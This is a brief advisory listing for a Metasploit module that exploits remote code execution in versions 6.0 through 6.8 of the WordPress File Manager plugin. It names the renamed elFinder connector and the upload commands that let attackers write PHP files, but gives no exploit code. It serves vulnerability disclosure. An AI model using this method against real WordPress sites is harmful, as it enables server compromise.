WordPress File Manager 6.8 Remote Code Execution

WordPress File Manager 6.8 Remote Code Execution
Posted Nov 10, 2020
Authored by Imran E. Dawoodjee, Alex Souza | Site metasploit.com

The WordPress File Manager (wp-file-manager) plugin versions 6.0 through 6.8 allows remote attackers to upload and execute arbitrary PHP code because it renames an unsafe example elFinder connector file to have the .php extension. This, for example, allows attackers to run the elFinder upload (or mkfile and put) command to write PHP code into the wp-content/plugins/wp-file-manager/lib/files/ directory.
